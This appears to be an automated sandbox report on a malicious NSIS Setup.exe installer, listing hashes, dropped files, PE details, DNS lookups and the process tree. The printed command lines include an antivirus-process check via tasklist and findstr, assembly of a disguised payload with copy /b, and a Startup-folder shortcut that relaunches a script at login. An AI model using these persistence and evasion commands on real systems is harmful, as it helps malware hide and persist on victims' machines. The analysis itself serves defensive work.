Entropy (8bit):	7.996798759913685
Encrypted:	true
SSDEEP:	1536:pGELsdd9CkiEKrVQUMAcjKnqMBUK1R/t0FwLsGn7wJQUS7fTRL:k39CvEKrVV8dqDROnGUJQUYh
MD5:	72715B5923B8771CCE05B826FFCFC2FC
SHA1:	38BA1BF3FABAD00FFBFA5A39D0EE83EBB81B38C4
SHA-256:	902B91EC7D4396B31BF6967C657435116961B9777628D1F24B6AACEF6E53FC2A
SHA-512:	AF61DAC499F4FF383C302163689E738131EDA3EB0F6B4DACFC07D0EDD34B18D5A9B51B5DD41E82ED6ECC32A0D3264FE2380606DFE1A2977142167A9946C855D2
Malicious:	false
Preview:	.1..~N..2^.....n.;U....NQs.....\s.5.T....m...}..%..-...!6...`.j1E_\D0.`.(.l.Txz...f...0...g.....M-.J..I..4l6.....Y.l....{?...EI..Pm....Fv8....t.y.;.`Tg8....7C.&..q.......B...b.wM.H.J.!j...#..q.?Q..+._.,(.;.=....'."..A@.._)......#o.1... "S.[......}.X.l.A.=#.1.S..i....;Mg.[.D..N.L....qk....+.~.d....e35.(s..$..O.%U.3.........P...H.H...f..\..$lf.(.P.O..c.+Ev6..d;.9.u.........<.R....~.\|....8M...`c....+.J..oc...m.N.>...._.f.\|..1..dyQ.,.....q........h...Q}B/..2D...M...L..8.FD..%\|b...S:....^Sf.[..?k.$...X.P.....0..).....N.M.5..6.C.$...l..}.._........C3fJc.TU..H.6!r..e...v(R.P......E:.{d.y....;.suB....."....E....6.....8...W.;..^.. .p..Xh\.2.z..D...o..5.V..[.z=...0....5x_...y..9JU.....6..@.8....V^.:..tLZ'Y.P..P.......5..}.8....m.}Vh.>...`.]....x#a../.\.../....iK..(.....t.b9..~.B.M.6.....XIi~^.....><@#.:;..G........l...}..D..^..._..p3.$..S..u..S.+..\|...........2.K..i..K.Ts:..%......p.....^....V........!..X....pd..\|o.L.........ERS....Z..:-.e.*...[V...

C:\Users\user\AppData\Local\Temp\Participated

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	7.998148728406405
Encrypted:	true
SSDEEP:	1536:cWGzko2N0WZKAM2XaEsOhqqjBxm1hKrHohwk9zQMNnbieBQho09A1x:cWGyc2TqqMKzohwk9V7p1x
MD5:	9C05A75EC5F09AB89F8BC3CCD22622E5
SHA1:	923DD10E00664315B9CA78BAE4BD56067BF802FE
SHA-256:	3F14A10B09BA4DBD8C236D01224723A3D95C223165A5295D89A3FB029F7159A4
SHA-512:	38072F38329BBCC956C74F19CECD0C7CC6735C0F9D81FDB026C2B41FD7D16811232871EB8920BF6F24EFB607B7D7B3851834C00C238C12C8CC923B78840B9D6E
Malicious:	false
Preview:	^.+.......f..S../.a.B.E........7.........,..[.?.~...EA#...,..X...U\.").i\...R`...N...........s.89t!y.X...>L0.w:G.I..nW.~]..I..^....`...(...^..dm...k..b...Q.?...l.......;`...e..4.XN......u..~'.....o.+..6...(E!...J......S....Z....."..e.. LJ....&-.b..N.. .....'8.x^(....... ...`.-S..Kg.(..."~"....YWL....GX.....l...-."..../..\#...:.7.f....3)...N.3.6.F8~p...G..1...)..u!;..#..SL......o.L`.=.\|W...K.'......L..c.....#.V.yv~.`(s......8...v..FK.A...s......nB.._..v.....V..'u82+.S.X.....%..L...P..G....+i...{BW.&..(..3.6...c....bk.Z.[.%.....tB..2(..X.>........>.e..n:.b....!..}.T.z.4..$.h.<..5.[X......r0.....Q ...0..Jxn..}T_.......l....$...k..q...oZ~EP.....B"e.CsX.n..%^..:....e...%=&.,:6..S......G...I..s....s.7P..61.Am..\..4.'..]...M)...X8[.v..~l..c{.g.. u......3i@6...>.5A...a.@....-....w<.B]D.wC3tHw:h$.z&....a..+...K..k'Bz....V....C......d(bl=..[<....&..).{G.U..ykEj......:.....F0@6.^,..Y.;.A..a....@..WP....E,...%.........y....7C;..kR.NR......d

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.803501791245007
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYot+kiE2J52GXMgXUe52Gcg2WHq:HRYF5yjowkn232GXt56lWHq
MD5:	47D2A46ED282B448559395267B12CA8B
SHA1:	EA29EECE789E6DAA3EC609FBBDF561FE1B4A4F52
SHA-256:	2796FC310BA59D83C8495D4F649434EE93AC15141CB345BF890794EE19429228
SHA-512:	355E7FA4AB51E4AB6C1340328B80AC6FF4D2FFAC8E179AC1831AB5993990885DDD8B4988F9A9CF1CA55EBD575D767DB09A5EBA14FB219BDFF458019DD18FA507
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	0.2738384385399863
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	58'731'728 bytes
MD5:	0323967594788684ded929f83f6d9f23
SHA1:	538d6f53242c1a68820f9b5e86a76897c6981717
SHA256:	b25258b4956eb18431a014b71987efa95a9c4b8395057c1e4ef3cbb081a662a6
SHA512:	aa0458759ca7271fb99690df16c495e1fbd679d331aaadb025509bc741c53336f38e9d975a6efcb4b2d5564097a94ab8e89a0aa322f3b2450c7fb79183886785
SSDEEP:	24576:zzZEu6A9jyXbhsf4Q86zfKg3ADrO2paC5fgu+FAFi:zJGdo4F6mgm9paCyu+FA8
TLSH:	C5D722F1FB044CF6F5574B3E30AE19259AB7ED2A2AA4A58E11CD75239AF074010FE943
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.ydx..7x..7x..7_Hz7{..7_Hl7i..7x..7...7q..7s..7q..7y..7q..7y..7Richx..7........................PE..L....l.K.................h.

File Icon


Icon Hash:	0cd8d0b8ba92b2b0

Static PE Info

General

Entrypoint:	0x403415
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4BC06CDA [Sat Apr 10 12:19:38 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	bf95d1fc1d10de18b32654b123ad5e1f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	18/08/2023 01:00:00 18/08/2026 00:59:59
Subject Chain	CN="Saleae, Inc.", O="Saleae, Inc.", S=California, C=US
Version:	3
Thumbprint MD5:	E41707124DE2605D6EEF040744968853
Thumbprint SHA-1:	D515BE76EF34430D3EEE0810BF217C8AB43B9742
Thumbprint SHA-256:	8FAF8A1836BA81965FC0278EAD3CD73E0F7C3E80C9D73DEAF0D22371FC7938C4
Serial:	7EA7A71B78F084B6572C7354ABD062A9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00408570h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082B0h]
push 00000008h
mov dword ptr [0047B398h], eax
call 00007EFEF4EC8F3Ch
push ebp
push 000002B4h
mov dword ptr [0047B2B0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040856Ch
call dword ptr [00408180h]
push 00408554h
push 004732A0h
call 00007EFEF4EC8E0Ah
call dword ptr [004080B0h]
push eax
mov edi, 004CC0A0h
push edi
call 00007EFEF4EC8DF8h
push ebp
call dword ptr [00408130h]
cmp word ptr [004CC0A0h], 0022h
mov dword ptr [0047B2B8h], eax
mov eax, edi
jne 00007EFEF4EC67DAh
push 00000022h
pop esi
mov eax, 004CC0A2h
push esi
push eax
call 00007EFEF4EC8ACCh
push eax
call dword ptr [00408250h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007EFEF4EC6861h
push 00000020h
pop ebx
cmp ax, bx
jne 00007EFEF4EC67D9h
inc esi
inc esi
cmp word ptr [esi], bx
je 00007EFEF4EC67CBh

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ C ] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8afc	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfd000	0x10be8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3800000	0x2cd0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x671c	0x6800	8bb8f6dca80ad27cbdbce9816ab6ae7c	False	0.6644381009615384	data	6.50478910452928	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x19d6	0x1a00	161b329b4c70ce4fbd9c1143e738896b	False	0.4480168269230769	data	5.026839717718007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x7139c	0x200	140876ba314e7bc36379ee5c6db80876	False	0.271484375	data	1.7360077526852977	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7c000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xfd000	0x10be8	0x10c00	54993fb7a19a5b355f3eb00cd4721659	False	0.36607975746268656	data	5.412588268821945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xfd238	0x9928	Device independent bitmap graphic, 96 x 192 x 32, image size 39168	English	United States	0.34832177106712914
RT_ICON	0x106b60	0x5638	Device independent bitmap graphic, 72 x 144 x 32, image size 22032	English	United States	0.39040413193185936
RT_ICON	0x10c198	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.5403005464480874
RT_DIALOG	0x10d2c0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x10d3c0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x10d4e0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x10d540	0x30	data	English	United States	0.875
RT_VERSION	0x10d570	0x39c	data	English	United States	0.4274891774891775
RT_MANIFEST	0x10d910	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, MulDiv, lstrlenA, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, FindWindowExW, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, IsWindow
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 23:03:09.132199049 CEST	49175	53	192.168.2.4	1.1.1.1
Aug 27, 2024 23:03:09.141556978 CEST	53	49175	1.1.1.1	192.168.2.4
Aug 27, 2024 23:03:21.246625900 CEST	51745	53	192.168.2.4	1.1.1.1
Aug 27, 2024 23:03:21.268503904 CEST	53	51745	1.1.1.1	192.168.2.4
Aug 27, 2024 23:03:49.585017920 CEST	53	52575	162.159.36.2	192.168.2.4
Aug 27, 2024 23:03:50.078254938 CEST	53	53024	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 27, 2024 23:03:09.132199049 CEST	192.168.2.4	1.1.1.1	0x3a9b	Standard query (0)	BkByEfukMORgCb.BkByEfukMORgCb	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.246625900 CEST	192.168.2.4	1.1.1.1	0x1b0d	Standard query (0)	BkByEfukMORgCb.BkByEfukMORgCb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 27, 2024 23:03:09.141556978 CEST	1.1.1.1	192.168.2.4	0x3a9b	Name error (3)	BkByEfukMORgCb.BkByEfukMORgCb	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.268503904 CEST	1.1.1.1	192.168.2.4	0x1b0d	Name error (3)	BkByEfukMORgCb.BkByEfukMORgCb	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	www.download.windowsupdate.com.cdn.dnsv1.com	microsoft-10.ovslegodl.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.152.28.43	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.152.66	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.152.68	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		101.33.11.219	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		101.33.11.246	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.151.205	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.152.67	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.151.231	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.152.28.41	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.151.206	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.152.26.80	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.152.29.63	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.152.29.78	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.151.230	A (IP address)	IN (0x0001)	false
Aug 27, 2024 23:03:21.893852949 CEST	1.1.1.1	192.168.2.4	0x60	No error (0)	microsoft-10.ovslegodl.sched.ovscdns.com		43.175.151.207	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	17:03:04
Start date:	27/08/2024
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x400000
File size:	58'731'728 bytes
MD5 hash:	0323967594788684DED929F83F6D9F23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:03:04
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k move Biography Biography.cmd & Biography.cmd & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:03:04
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:03:06
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x480000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:03:06
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe opssvc.exe"
Imagebase:	0xe30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:03:07
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x480000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:03:07
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0xe30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:03:07
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 412421
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:03:07
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "uncertaintycompetitionsadvertisingorganisation" Marie
Imagebase:	0xe30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:03:07
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Participated + ..\Corner + ..\Domestic + ..\Disposition + ..\Diagnostic + ..\Options + ..\Mrs M
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:03:07
Start date:	27/08/2024
Path:	C:\Users\user\AppData\Local\Temp\412421\Linux.pif
Wow64 process (32bit):	true
Commandline:	Linux.pif M
Imagebase:	0x2e0000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:03:07
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xba0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:03:08
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & echo URL="C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:03:08
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:03:16
Start date:	27/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js"
Imagebase:	0x7ff60d5b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:03:17
Start date:	27/08/2024
Path:	C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif" "C:\Users\user\AppData\Local\ScribeSoft Systems\w"
Imagebase:	0x3c0000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.4%
Total number of Nodes:	1325
Total number of Limit Nodes:	23

Executed Functions

Function 00403415 Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 307
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403434
SetErrorMode.KERNELBASE(00008001), ref: 0040343F
OleInitialize.OLE32(00000000), ref: 00403446

Part of subcall function 00405BBF: GetModuleHandleA.KERNEL32(?,?,00000020,00403458,00000008), ref: 00405BCF
Part of subcall function 00405BBF: LoadLibraryA.KERNELBASE(?,?,00000020,00403458,00000008), ref: 00405BDA
Part of subcall function 00405BBF: GetProcAddress.KERNEL32(00000000,?), ref: 00405BEB

SHGetFileInfoW.SHELL32(0040856C,00000000,?,000002B4,00000000), ref: 0040346E

Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5

GetCommandLineW.KERNEL32(004732A0,NSIS Error), ref: 00403483
GetModuleHandleW.KERNEL32(00000000,004CC0A0,00000000), ref: 00403496
CharNextW.USER32(00000000,004CC0A0,00000020), ref: 004034BD
GetTempPathW.KERNEL32(00002004,004E00C8,00000000,00000020), ref: 00403590
GetWindowsDirectoryW.KERNEL32(004E00C8,00001FFF), ref: 004035A5
lstrcatW.KERNEL32(004E00C8,\Temp), ref: 004035B1
DeleteFileW.KERNELBASE(004DC0C0), ref: 004035C8
OleUninitialize.OLE32(?), ref: 00403659
